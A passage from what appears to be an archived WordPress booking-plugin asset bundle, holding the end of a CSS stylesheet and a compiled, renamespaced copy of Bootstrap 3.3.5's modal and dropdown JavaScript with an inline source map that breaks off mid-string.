-ms-flex-pack: center; justify-content: center; -ms-flex-line-pack: start; align-content: flex-start; -ms-flex-align: center; align-items: center } .wpbc_upgrade_widget .wpbc_upgrade_widget_container .wpbc_upgrade_note div:first-child { margin: auto } .wpbc_upgrade_widget .wpbc_upgrade_widget_container .wpbc_upgrade_note .wpbc_panel_get_started_dismiss { -ms-flex-item-align: start; align-self: flex-start; margin-left: auto; padding: 4px 10px; text-decoration: none; font-weight: 600; background: #fff; border-radius: 7px; border: none } dropdown_modal.js 0000666 00000170664 15166314672 0010147 0 ustar 00 "use strict"; function _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); } /*! * Generated using the Bootstrap Customizer (http://getbootstrap.com/customize/?id=f4b4c9cb85df757ca08c) * Config saved to config.json and https://gist.github.com/f4b4c9cb85df757ca08c */ if (typeof jQuery === 'undefined') { throw new Error('Bootstrap\'s JavaScript requires jQuery'); } +function ($) { 'use strict'; var version = $.fn.jquery.split(' ')[0].split('.'); if (version[0] < 2 && version[1] < 9 || version[0] == 1 && version[1] == 9 && version[2] < 1) { throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher'); } }(jQuery); /* ======================================================================== * Bootstrap: modal.js v3.3.5 * http://getbootstrap.com/javascript/#modals * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // MODAL CLASS DEFINITION // ====================== var Modal = function Modal(element, options) { this.options = options; this.$body = $(document.body); this.$element = $(element); this.$dialog = this.$element.find('.modal-dialog'); this.$backdrop = null; this.isShown = null; this.originalBodyPad = null; this.scrollbarWidth = 0; this.ignoreBackdropClick = false; if (this.options.remote) { this.$element.find('.modal-content').load(this.options.remote, $.proxy(function () { this.$element.trigger('loaded.wpbc.modal'); }, this)); } }; Modal.VERSION = '3.3.5'; Modal.TRANSITION_DURATION = 300; Modal.BACKDROP_TRANSITION_DURATION = 150; Modal.DEFAULTS = { backdrop: true, keyboard: true, show: true }; Modal.prototype.toggle = function (_relatedTarget) { return this.isShown ? this.hide() : this.show(_relatedTarget); }; Modal.prototype.show = function (_relatedTarget) { var that = this; var e = $.Event('show.wpbc.modal', { relatedTarget: _relatedTarget }); this.$element.trigger(e); if (this.isShown || e.isDefaultPrevented()) return; this.isShown = true; this.checkScrollbar(); this.setScrollbar(); this.$body.addClass('modal-open'); this.escape(); this.resize(); this.$element.on('click.dismiss.wpbc.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this)); this.$dialog.on('mousedown.dismiss.wpbc.modal', function () { that.$element.one('mouseup.dismiss.wpbc.modal', function (e) { if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true; }); }); this.backdrop(function () { var transition = $.support.transition && that.$element.hasClass('fade'); if (!that.$element.parent().length) { that.$element.appendTo(that.$body); // don't move modals dom position } that.$element.show().scrollTop(0); that.adjustDialog(); if (transition) { that.$element[0].offsetWidth; // force reflow } that.$element.addClass('in'); that.enforceFocus(); var e = $.Event('shown.wpbc.modal', { relatedTarget: _relatedTarget }); transition ? that.$dialog // wait for modal to slide in .one('bsTransitionEnd', function () { that.$element.trigger('focus').trigger(e); }).emulateTransitionEnd(Modal.TRANSITION_DURATION) : that.$element.trigger('focus').trigger(e); }); }; Modal.prototype.hide = function (e) { if (e) e.preventDefault(); e = $.Event('hide.wpbc.modal'); this.$element.trigger(e); if (!this.isShown || e.isDefaultPrevented()) return; this.isShown = false; this.escape(); this.resize(); $(document).off('focusin.wpbc.modal'); this.$element.removeClass('in').off('click.dismiss.wpbc.modal').off('mouseup.dismiss.wpbc.modal'); this.$dialog.off('mousedown.dismiss.wpbc.modal'); $.support.transition && this.$element.hasClass('fade') ? this.$element.one('bsTransitionEnd', $.proxy(this.hideModal, this)).emulateTransitionEnd(Modal.TRANSITION_DURATION) : this.hideModal(); }; Modal.prototype.enforceFocus = function () { $(document).off('focusin.wpbc.modal') // guard against infinite focus loop .on('focusin.wpbc.modal', $.proxy(function (e) { if (this.$element[0] !== e.target && !this.$element.has(e.target).length) { this.$element.trigger('focus'); } }, this)); }; Modal.prototype.escape = function () { if (this.isShown && this.options.keyboard) { this.$element.on('keydown.dismiss.wpbc.modal', $.proxy(function (e) { e.which == 27 && this.hide(); }, this)); } else if (!this.isShown) { this.$element.off('keydown.dismiss.wpbc.modal'); } }; Modal.prototype.resize = function () { if (this.isShown) { $(window).on('resize.wpbc.modal', $.proxy(this.handleUpdate, this)); } else { $(window).off('resize.wpbc.modal'); } }; Modal.prototype.hideModal = function () { var that = this; this.$element.hide(); this.backdrop(function () { that.$body.removeClass('modal-open'); that.resetAdjustments(); that.resetScrollbar(); that.$element.trigger('hidden.wpbc.modal'); }); }; Modal.prototype.removeBackdrop = function () { this.$backdrop && this.$backdrop.remove(); this.$backdrop = null; }; Modal.prototype.backdrop = function (callback) { var that = this; var animate = this.$element.hasClass('fade') ? 'fade' : ''; if (this.isShown && this.options.backdrop) { var doAnimate = $.support.transition && animate; this.$backdrop = $(document.createElement('div')).addClass('modal-backdrop ' + animate).appendTo(this.$body); this.$element.on('click.dismiss.wpbc.modal', $.proxy(function (e) { if (this.ignoreBackdropClick) { this.ignoreBackdropClick = false; return; } if (e.target !== e.currentTarget) return; this.options.backdrop == 'static' ? this.$element[0].focus() : this.hide(); }, this)); if (doAnimate) this.$backdrop[0].offsetWidth; // force reflow this.$backdrop.addClass('in'); if (!callback) return; doAnimate ? this.$backdrop.one('bsTransitionEnd', callback).emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callback(); } else if (!this.isShown && this.$backdrop) { this.$backdrop.removeClass('in'); var callbackRemove = function callbackRemove() { that.removeBackdrop(); callback && callback(); }; $.support.transition && this.$element.hasClass('fade') ? this.$backdrop.one('bsTransitionEnd', callbackRemove).emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callbackRemove(); } else if (callback) { callback(); } }; // these following methods are used to handle overflowing modals Modal.prototype.handleUpdate = function () { this.adjustDialog(); }; Modal.prototype.adjustDialog = function () { var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight; this.$element.css({ paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '', paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : '' }); }; Modal.prototype.resetAdjustments = function () { this.$element.css({ paddingLeft: '', paddingRight: '' }); }; Modal.prototype.checkScrollbar = function () { var fullWindowWidth = window.innerWidth; if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8 var documentElementRect = document.documentElement.getBoundingClientRect(); fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left); } this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth; this.scrollbarWidth = this.measureScrollbar(); }; Modal.prototype.setScrollbar = function () { var bodyPad = parseInt(this.$body.css('padding-right') || 0, 10); this.originalBodyPad = document.body.style.paddingRight || ''; if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth); }; Modal.prototype.resetScrollbar = function () { this.$body.css('padding-right', this.originalBodyPad); }; Modal.prototype.measureScrollbar = function () { // thx walsh var scrollDiv = document.createElement('div'); scrollDiv.className = 'modal-scrollbar-measure'; this.$body.append(scrollDiv); var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth; this.$body[0].removeChild(scrollDiv); return scrollbarWidth; }; // MODAL PLUGIN DEFINITION // ======================= function Plugin(option, _relatedTarget) { return this.each(function () { var $this = $(this); var data = $this.data('wpbc.modal'); var options = $.extend({}, Modal.DEFAULTS, $this.data(), _typeof(option) == 'object' && option); if (!data) $this.data('wpbc.modal', data = new Modal(this, options)); if (typeof option == 'string') data[option](_relatedTarget);else if (options.show) data.show(_relatedTarget); }); } var old = $.fn.wpbc_my_modal; $.fn.wpbc_my_modal = Plugin; $.fn.wpbc_my_modal.Constructor = Modal; // MODAL NO CONFLICT // ================= $.fn.wpbc_my_modal.noConflict = function () { $.fn.wpbc_my_modal = old; return this; }; // MODAL DATA-API // ============== $(document).on('click.wpbc.modal.data-api', '[data-toggle="wpbc_my_modal"]', function (e) { var $this = $(this); var href = $this.attr('href'); var $target = $($this.attr('data-target') || href && href.replace(/.*(?=#[^\s]+$)/, '')); // strip for ie7 var option = $target.data('wpbc.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data()); if ($this.is('a')) e.preventDefault(); $target.one('show.wpbc.modal', function (showEvent) { if (showEvent.isDefaultPrevented()) return; // only register focus restorer if modal will actually get shown $target.one('hidden.wpbc.modal', function () { $this.is(':visible') && $this.trigger('focus'); }); }); Plugin.call($target, option, this); }); }(jQuery); +function ($) { 'use strict'; // DROPDOWN CLASS DEFINITION // ========================= var backdrop = '.dropdown-backdrop'; var toggle = '[data-toggle="wpbc_dropdown"]'; var Dropdown = function Dropdown(element) { $(element).on('click.wpbc.dropdown', this.toggle); }; Dropdown.VERSION = '3.3.5'; function getParent($this) { var selector = $this.attr('data-target'); if (!selector) { selector = $this.attr('href'); selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, ''); // strip for ie7 } var $parent = selector && $(selector); return $parent && $parent.length ? $parent : $this.parent(); } function clearMenus(e) { if (e && e.which === 3) return; $(backdrop).remove(); $(toggle).each(function () { var $this = $(this); var $parent = getParent($this); var relatedTarget = { relatedTarget: this }; if (!$parent.hasClass('open')) return; if (e && e.type == 'click' && /input|textarea/i.test(e.target.tagName) && $.contains($parent[0], e.target)) return; $parent.trigger(e = $.Event('hide.wpbc.dropdown', relatedTarget)); if (e.isDefaultPrevented()) return; $this.attr('aria-expanded', 'false'); $parent.removeClass('open').trigger('hidden.wpbc.dropdown', relatedTarget); }); } Dropdown.prototype.toggle = function (e) { var $this = $(this); if ($this.is('.disabled, :disabled')) return; var $parent = getParent($this); var isActive = $parent.hasClass('open'); clearMenus(); if (!isActive) { if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) { // if mobile we use a backdrop because click events don't delegate $(document.createElement('div')).addClass('dropdown-backdrop').insertAfter($(this)).on('click', clearMenus); } var relatedTarget = { relatedTarget: this }; $parent.trigger(e = $.Event('show.wpbc.dropdown', relatedTarget)); if (e.isDefaultPrevented()) return; $this.trigger('focus').attr('aria-expanded', 'true'); $parent.toggleClass('open').trigger('shown.wpbc.dropdown', relatedTarget); } return false; }; Dropdown.prototype.keydown = function (e) { if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return; var $this = $(this); e.preventDefault(); e.stopPropagation(); if ($this.is('.disabled, :disabled')) return; var $parent = getParent($this); var isActive = $parent.hasClass('open'); if (!isActive && e.which != 27 || isActive && e.which == 27) { if (e.which == 27) $parent.find(toggle).trigger('focus'); return $this.trigger('click'); } var desc = ' li:not(.disabled):visible a'; var $items = $parent.find('.dropdown-menu' + desc + ',.ui_dropdown_menu' + desc); if (!$items.length) return; var index = $items.index(e.target); if (e.which == 38 && index > 0) index--; // up if (e.which == 40 && index < $items.length - 1) index++; // down if (!~index) index = 0; $items.eq(index).trigger('focus'); }; // DROPDOWN PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = $(this); var data = $this.data('wpbc.dropdown'); if (!data) $this.data('wpbc.dropdown', data = new Dropdown(this)); if (typeof option == 'string') data[option].call($this); }); } var old = $.fn.wpbc_dropdown; $.fn.wpbc_dropdown = Plugin; $.fn.wpbc_dropdown.Constructor = Dropdown; // DROPDOWN NO CONFLICT // ==================== $.fn.wpbc_dropdown.noConflict = function () { $.fn.wpbc_dropdown = old; return this; }; // APPLY TO STANDARD DROPDOWN ELEMENTS // =================================== $(document).on('click.wpbc.dropdown.data-api', clearMenus).on('click.wpbc.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation(); }).on('click.wpbc.dropdown.data-api', toggle, Dropdown.prototype.toggle).on('keydown.wpbc.dropdown.data-api', toggle, Dropdown.prototype.keydown).on('keydown.wpbc.dropdown.data-api', '.dropdown-menu', Dropdown.prototype.keydown).on('keydown.wpbc.dropdown.data-api', '.ui_dropdown_menu', Dropdown.prototype.keydown); }(jQuery); //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiYXNzZXRzL2xpYnMvdWkvX291dC9kcm9wZG93bl9tb2RhbC5qcyIsIm5hbWVzIjpbImpRdWVyeSIsIkVycm9yIiwiJCIsInZlcnNpb24iLCJmbiIsImpxdWVyeSIsInNwbGl0IiwiTW9kYWwiLCJlbGVtZW50Iiwib3B0aW9ucyIsIiRib2R5IiwiZG9jdW1lbnQiLCJib2R5IiwiJGVsZW1lbnQiLCIkZGlhbG9nIiwiZmluZCIsIiRiYWNrZHJvcCIsImlzU2hvd24iLCJvcmlnaW5hbEJvZHlQYWQiLCJzY3JvbGxiYXJXaWR0aCIsImlnbm9yZUJhY2tkcm9wQ2xpY2siLCJyZW1vdGUiLCJsb2FkIiwicHJveHkiLCJ0cmlnZ2VyIiwiVkVSU0lPTiIsIlRSQU5TSVRJT05fRFVSQVRJT04iLCJCQUNLRFJPUF9UUkFOU0lUSU9OX0RVUkFUSU9OIiwiREVGQVVMVFMiLCJiYWNrZHJvcCIsImtleWJvYXJkIiwic2hvdyIsInByb3RvdHlwZSIsInRvZ2dsZSIsIl9yZWxhdGVkVGFyZ2V0IiwiaGlkZSIsInRoYXQiLCJlIiwiRXZlbnQiLCJyZWxhdGVkVGFyZ2V0IiwiaXNEZWZhdWx0UHJldmVudGVkIiwiY2hlY2tTY3JvbGxiYXIiLCJzZXRTY3JvbGxiYXIiLCJhZGRDbGFzcyIsImVzY2FwZSIsInJlc2l6ZSIsIm9uIiwib25lIiwidGFyZ2V0IiwiaXMiLCJ0cmFuc2l0aW9uIiwic3VwcG9ydCIsImhhc0NsYXNzIiwicGFyZW50IiwibGVuZ3RoIiwiYXBwZW5kVG8iLCJzY3JvbGxUb3AiLCJhZGp1c3REaWFsb2ciLCJvZmZzZXRXaWR0aCIsImVuZm9yY2VGb2N1cyIsImVtdWxhdGVUcmFuc2l0aW9uRW5kIiwicHJldmVudERlZmF1bHQiLCJvZmYiLCJyZW1vdmVDbGFzcyIsImhpZGVNb2RhbCIsImhhcyIsIndoaWNoIiwid2luZG93IiwiaGFuZGxlVXBkYXRlIiwicmVzZXRBZGp1c3RtZW50cyIsInJlc2V0U2Nyb2xsYmFyIiwicmVtb3ZlQmFja2Ryb3AiLCJyZW1vdmUiLCJjYWxsYmFjayIsImFuaW1hdGUiLCJkb0FuaW1hdGUiLCJjcmVhdGVFbGVtZW50IiwiY3VycmVudFRhcmdldCIsImZvY3VzIiwiY2FsbGJhY2tSZW1vdmUiLCJtb2RhbElzT3ZlcmZsb3dpbmciLCJzY3JvbGxIZWlnaHQiLCJkb2N1bWVudEVsZW1lbnQiLCJjbGllbnRIZWlnaHQiLCJjc3MiLCJwYWRkaW5nTGVmdCIsImJvZHlJc092ZXJmbG93aW5nIiwicGFkZGluZ1JpZ2h0IiwiZnVsbFdpbmRvd1dpZHRoIiwiaW5uZXJXaWR0aCIsImRvY3VtZW50RWxlbWVudFJlY3QiLCJnZXRCb3VuZGluZ0NsaWVudFJlY3QiLCJyaWdodCIsIk1hdGgiLCJhYnMiLCJsZWZ0IiwiY2xpZW50V2lkdGgiLCJtZWFzdXJlU2Nyb2xsYmFyIiwiYm9keVBhZCIsInBhcnNlSW50Iiwic3R5bGUiLCJzY3JvbGxEaXYiLCJjbGFzc05hbWUiLCJhcHBlbmQiLCJyZW1vdmVDaGlsZCIsIlBsdWdpbiIsIm9wdGlvbiIsImVhY2giLCIkdGhpcyIsImRhdGEiLCJleHRlbmQiLCJfdHlwZW9mIiwib2xkIiwid3BiY19teV9tb2RhbCIsIkNvbnN0cnVjdG9yIiwibm9Db25mbGljdCIsImhyZWYiLCJhdHRyIiwiJHRhcmdldCIsInJlcGxhY2UiLCJ0ZXN0Iiwic2hvd0V2ZW50IiwiY2FsbCIsIkRyb3Bkb3duIiwiZ2V0UGFyZW50Iiwic2VsZWN0b3IiLCIkcGFyZW50IiwiY2xlYXJNZW51cyIsInR5cGUiLCJ0YWdOYW1lIiwiY29udGFpbnMiLCJpc0FjdGl2ZSIsImNsb3Nlc3QiLCJpbnNlcnRBZnRlciIsInRvZ2dsZUNsYXNzIiwia2V5ZG93biIsInN0b3BQcm9wYWdhdGlvbiIsImRlc2MiLCIkaXRlbXMiLCJpbmRleCIsImVxIiwid3BiY19kcm9wZG93biJdLCJzb3VyY2VzIjpbImFzc2V0cy9saWJzL3VpL19zcmMvZHJvcGRvd25fbW9kYWwuanMiXSwic291cmNlc0NvbnRlbnQiOlsiLyohXHJcbiAqIEdlbmVyYXRlZCB1c2luZyB0aGUgQm9vdHN0cmFwIEN1c3RvbWl6ZXIgKGh0dHA6Ly9nZXRib290c3RyYXAuY29tL2N1c3RvbWl6ZS8/aWQ9ZjRiNGM5Y2I4NWRmNzU3Y2EwOGMpXHJcbiAqIENvbmZpZyBzYXZlZCB0byBjb25maWcuanNvbiBhbmQgaHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vZjRiNGM5Y2I4NWRmNzU3Y2EwOGNcclxuICovXHJcbmlmICh0eXBlb2YgalF1ZXJ5ID09PSAndW5kZWZpbmVkJykge1xyXG4gIHRocm93IG5ldyBFcnJvcignQm9vdHN0cmFwXFwncyBKYXZhU2NyaXB0IHJlcXVpcmVzIGpRdWVyeScpXHJcbn1cclxuK2Z1bmN0aW9uICgkKSB7XHJcbiAgJ3VzZSBzdHJpY3QnO1xyXG4gIHZhciB2ZXJzaW9uID0gJC5mbi5qcXVlcnkuc3BsaXQoJyAnKVswXS5zcGxpdCgnLicpXHJcbiAgaWYgKCh2ZXJzaW9uWzBdIDwgMiAmJiB2ZXJzaW9uWzFdIDwgOSkgfHwgKHZlcnNpb25bMF0gPT0gMSAmJiB2ZXJzaW9uWzFdID09IDkgJiYgdmVyc2lvblsyXSA8IDEpKSB7XHJcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ0Jvb3RzdHJhcFxcJ3MgSmF2YVNjcmlwdCByZXF1aXJlcyBqUXVlcnkgdmVyc2lvbiAxLjkuMSBvciBoaWdoZXInKVxyXG4gIH1cclxufShqUXVlcnkpO1xyXG5cclxuLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbiAqIEJvb3RzdHJhcDogbW9kYWwuanMgdjMuMy41XHJcbiAqIGh0dHA6Ly9nZXRib290c3RyYXAuY29tL2phdmFzY3JpcHQvI21vZGFsc1xyXG4gKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cclxuICogQ29weXJpZ2h0IDIwMTEtMjAxNSBUd2l0dGVyLCBJbmMuXHJcbiAqIExpY2Vuc2VkIHVuZGVyIE1JVCAoaHR0cHM6Ly9naXRodWIuY29tL3R3YnMvYm9vdHN0cmFwL2Jsb2IvbWFzdGVyL0xJQ0VOU0UpXHJcbiAqID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqL1xyXG5cclxuXHJcbitmdW5jdGlvbiAoJCkge1xyXG4gICd1c2Ugc3RyaWN0JztcclxuXHJcbiAgLy8gTU9EQUwgQ0xBU1MgREVGSU5JVElPTlxyXG4gIC8vID09PT09PT09PT09PT09PT09PT09PT1cclxuXHJcbiAgdmFyIE1vZGFsID0gZnVuY3Rpb24gKGVsZW1lbnQsIG9wdGlvbnMpIHtcclxuICAgIHRoaXMub3B0aW9ucyAgICAgICAgICAgICA9IG9wdGlvbnNcclxuICAgIHRoaXMuJGJvZHkgICAgICAgICAgICAgICA9ICQoZG9jdW1lbnQuYm9keSlcclxuICAgIHRoaXMuJGVsZW1lbnQgICAgICAgICAgICA9ICQoZWxlbWVudClcclxuICAgIHRoaXMuJGRpYWxvZyAgICAgICAgICAgICA9IHRoaXMuJGVsZW1lbnQuZmluZCgnLm1vZGFsLWRpYWxvZycpXHJcbiAgICB0aGlzLiRiYWNrZHJvcCAgICAgICAgICAgPSBudWxsXHJcbiAgICB0aGlzLmlzU2hvd24gICAgICAgICAgICAgPSBudWxsXHJcbiAgICB0aGlzLm9yaWdpbmFsQm9keVBhZCAgICAgPSBudWxsXHJcbiAgICB0aGlzLnNjcm9sbGJhcldpZHRoICAgICAgPSAwXHJcbiAgICB0aGlzLmlnbm9yZUJhY2tkcm9wQ2xpY2sgPSBmYWxzZVxyXG5cclxuICAgIGlmICh0aGlzLm9wdGlvbnMucmVtb3RlKSB7XHJcbiAgICAgIHRoaXMuJGVsZW1lbnRcclxuICAgICAgICAuZmluZCgnLm1vZGFsLWNvbnRlbnQnKVxyXG4gICAgICAgIC5sb2FkKHRoaXMub3B0aW9ucy5yZW1vdGUsICQucHJveHkoZnVuY3Rpb24gKCkge1xyXG4gICAgICAgICAgdGhpcy4kZWxlbWVudC50cmlnZ2VyKCdsb2FkZWQud3BiYy5tb2RhbCcpXHJcbiAgICAgICAgfSwgdGhpcykpXHJcbiAgICB9XHJcbiAgfVxyXG5cclxuICBNb2RhbC5WRVJTSU9OICA9ICczLjMuNSdcclxuXHJcbiAgTW9kYWwuVFJBTlNJVElPTl9EVVJBVElPTiA9IDMwMFxyXG4gIE1vZGFsLkJBQ0tEUk9QX1RSQU5TSVRJT05fRFVSQVRJT04gPSAxNTBcclxuXHJcbiAgTW9kYWwuREVGQVVMVFMgPSB7XHJcbiAgICBiYWNrZHJvcDogdHJ1ZSxcclxuICAgIGtleWJvYXJkOiB0cnVlLFxyXG4gICAgc2hvdzogdHJ1ZVxyXG4gIH1cclxuXHJcbiAgTW9kYWwucHJvdG90eXBlLnRvZ2dsZSA9IGZ1bmN0aW9uIChfcmVsYXRlZFRhcmdldCkge1xyXG4gICAgcmV0dXJuIHRoaXMuaXNTaG93biA/IHRoaXMuaGlkZSgpIDogdGhpcy5zaG93KF9yZWxhdGVkVGFyZ2V0KVxyXG4gIH1cclxuXHJcbiAgTW9kYWwucHJvdG90eXBlLnNob3cgPSBmdW5jdGlvbiAoX3JlbGF0ZWRUYXJnZXQpIHtcclxuICAgIHZhciB0aGF0ID0gdGhpc1xyXG4gICAgdmFyIGUgICAgPSAkLkV2ZW50KCdzaG93LndwYmMubW9kYWwnLCB7IHJlbGF0ZWRUYXJnZXQ6IF9yZWxhdGVkVGFyZ2V0IH0pXHJcblxyXG4gICAgdGhpcy4kZWxlbWVudC50cmlnZ2VyKGUpXHJcblxyXG4gICAgaWYgKHRoaXMuaXNTaG93biB8fCBlLmlzRGVmYXVsdFByZXZlbnRlZCgpKSByZXR1cm5cclxuXHJcbiAgICB0aGlzLmlzU2hvd24gPSB0cnVlXHJcblxyXG4gICAgdGhpcy5jaGVja1Njcm9sbGJhcigpXHJcbiAgICB0aGlzLnNldFNjcm9sbGJhcigpXHJcbiAgICB0aGlzLiRib2R5LmFkZENsYXNzKCdtb2RhbC1vcGVuJylcclxuXHJcbiAgICB0aGlzLmVzY2FwZSgpXHJcbiAgICB0aGlzLnJlc2l6ZSgpXHJcblxyXG4gICAgdGhpcy4kZWxlbWVudC5vbignY2xpY2suZGlzbWlzcy53cGJjLm1vZGFsJywgJ1tkYXRhLWRpc21pc3M9XCJtb2RhbFwiXScsICQucHJveHkodGhpcy5oaWRlLCB0aGlzKSlcclxuXHJcbiAgICB0aGlzLiRkaWFsb2cub24oJ21vdXNlZG93bi5kaXNtaXNzLndwYmMubW9kYWwnLCBmdW5jdGlvbiAoKSB7XHJcbiAgICAgIHRoYXQuJGVsZW1lbnQub25lKCdtb3VzZXVwLmRpc21pc3Mud3BiYy5tb2RhbCcsIGZ1bmN0aW9uIChlKSB7XHJcbiAgICAgICAgaWYgKCQoZS50YXJnZXQpLmlzKHRoYXQuJGVsZW1lbnQpKSB0aGF0Lmlnbm9yZUJhY2tkcm9wQ2xpY2sgPSB0cnVlXHJcbiAgICAgIH0pXHJcbiAgICB9KVxyXG5cclxuICAgIHRoaXMuYmFja2Ryb3AoZnVuY3Rpb24gKCkge1xyXG4gICAgICB2YXIgdHJhbnNpdGlvbiA9ICQuc3VwcG9ydC50cmFuc2l0aW9uICYmIHRoYXQuJGVsZW1lbnQuaGFzQ2xhc3MoJ2ZhZGUnKVxyXG5cclxuICAgICAgaWYgKCF0aGF0LiRlbGVtZW50LnBhcmVudCgpLmxlbmd0aCkge1xyXG4gICAgICAgIHRoYXQuJGVsZW1lbnQuYXBwZW5kVG8odGhhdC4kYm9keSkgLy8gZG9uJ3QgbW92ZSBtb2RhbHMgZG9tIHBvc2l0aW9uXHJcbiAgICAgIH1cclxuXHJcbiAgICAgIHRoYXQuJGVsZW1lbnRcclxuICAgICAgICAuc2hvdygpXHJcbiAgICAgICAgLnNjcm9sbFRvcCgwKVxyXG5cclxuICAgICAgdGhhdC5hZGp1c3REaWFsb2coKVxyXG5cclxuICAgICAgaWYgKHRyYW5zaXRpb24pIHtcclxuICAgICAgICB0aGF0LiRlbGVtZW50WzBdLm9mZnNldFdpZHRoIC8vIGZvcmNlIHJlZmxvd1xyXG4gICAgICB9XHJcblxyXG4gICAgICB0aGF0LiRlbGVtZW50LmFkZENsYXNzKCdpbicpXHJcblxyXG4gICAgICB0aGF0LmVuZm9yY2VGb2N1cygpXHJcblxyXG4gICAgICB2YXIgZSA9ICQuRXZlbnQoJ3Nob3duLndwYmMubW9kYWwnLCB7IHJlbGF0ZWRUYXJnZXQ6IF9yZWxhdGVkVGFyZ2V0IH0pXHJcblxyXG4gICAgICB0cmFuc2l0aW9uID9cclxuICAgICAgICB0aGF0LiRkaWFsb2cgLy8gd2FpdCBmb3IgbW9kYWwgdG8gc2xpZGUgaW5cclxuICAgICAgICAgIC5vbmUoJ2JzVHJhbnNpdGlvbkVuZCcsIGZ1bmN0aW9uICgpIHtcclxuICAgICAgICAgICAgdGhhdC4kZWxlbWVudC50cmlnZ2VyKCdmb2N1cycpLnRyaWdnZXIoZSlcclxuICAgICAgICAgIH0pXHJcbiAgICAgICAgICAuZW11bGF0ZVRyYW5zaXRpb25FbmQoTW9kYWwuVFJBTlNJVElPTl9EVVJBVElPTikgOlxyXG4gICAgICAgIHRoYXQuJGVsZW1lbnQudHJpZ2dlcignZm9jdXMnKS50cmlnZ2VyKGUpXHJcbiAgICB9KVxyXG4gIH1cclxuXHJcbiAgTW9kYWwucHJvdG90eXBlLmhpZGUgPSBmdW5jdGlvbiAoZSkge1xyXG4gICAgaWYgKGUpIGUucHJldmVudERlZmF1bHQoKVxyXG5cclxuICAgIGUgPSAkLkV2ZW50KCdoaWRlLndwYmMubW9kYWwnKVxyXG5cclxuICAgIHRoaXMuJGVsZW1lbnQudHJpZ2dlcihlKVxyXG5cclxuICAgIGlmICghdGhpcy5pc1Nob3duIHx8IGUuaXNEZWZhdWx0UHJldmVudGVkKCkpIHJldHVyblxyXG5cclxuICAgIHRoaXMuaXNTaG93biA9IGZhbHNlXHJcblxyXG4gICAgdGhpcy5lc2NhcGUoKVxyXG4gICAgdGhpcy5yZXNpemUoKVxyXG5cclxuICAgICQoZG9jdW1lbnQpLm9mZignZm9jdXNpbi53cGJjLm1vZGFsJylcclxuXHJcbiAgICB0aGlzLiRlbGVtZW50XHJcbiAgICAgIC5yZW1vdmVDbGFzcygnaW4nKVxyXG4gICAgICAub2ZmKCdjbGljay5kaXNtaXNzLndwYmMubW9kYWwnKVxyXG4gICAgICAub2ZmKCdtb3VzZXVwLmRpc21pc3Mud3BiYy5tb2RhbCcpXHJcblxyXG4gICAgdGhpcy4kZGlhbG9nLm9mZignbW91c2Vkb3duLmRpc21pc3Mud3BiYy5tb2RhbCcpXHJcblxyXG4gICAgJC5zdXBwb3J0LnRyYW5zaXRpb24gJiYgdGhpcy4kZWxlbWVudC5oYXNDbGFzcygnZmFkZScpID9cclxuICAgICAgdGhpcy4kZWxlbWVudFxyXG4gICAgICAgIC5vbmUoJ2JzVHJhbnNpdGlvbkVuZCcsICQucHJveHkodGhpcy5oaWRlTW9kYWwsIHRoaXMpKVxyXG4gICAgICAgIC5lbXVsYXRlVHJhbnNpdGlvbkVuZChNb2RhbC5UUkFOU0lUSU9OX0RVUkFUSU9OKSA6XHJcbiAgICAgIHRoaXMuaGlkZU1vZGFsKClcclxuICB9XHJcblxyXG4gIE1vZGFsLnByb3RvdHlwZS5lbmZvcmNlRm9jdXMgPSBmdW5jdGlvbiAoKSB7XHJcbiAgICAkKGRvY3VtZW50KVxyXG4gICAgICAub2ZmKCdmb2N1c2luLndwYmMubW9kYWwnKSAvLyBndWFyZCBhZ2FpbnN0IGluZmluaXRlIGZvY3VzIGxvb3BcclxuICAgICAgLm9uKCdmb2N1c2luLndwYmMubW9kYWwnLCAkLnByb3h5KGZ1bmN0aW9uIChlKSB7XHJcbiAgICAgICAgaWYgKHRoaXMuJGVsZW1lbnRbMF0gIT09IGUudGFyZ2V0ICYmICF0aGlzLiRlbGVtZW50LmhhcyhlLnRhcmdldCkubGVuZ3RoKSB7XHJcbiAgICAgICAgICB0aGlzLiRlbGVtZW50LnRyaWdnZXIoJ2ZvY3VzJylcclxuICAgICAgICB9XHJcbiAgICAgIH0sIHRoaXMpKVxyXG4gIH1cclxuXHJcbiAgTW9kYWwucHJvdG90eXB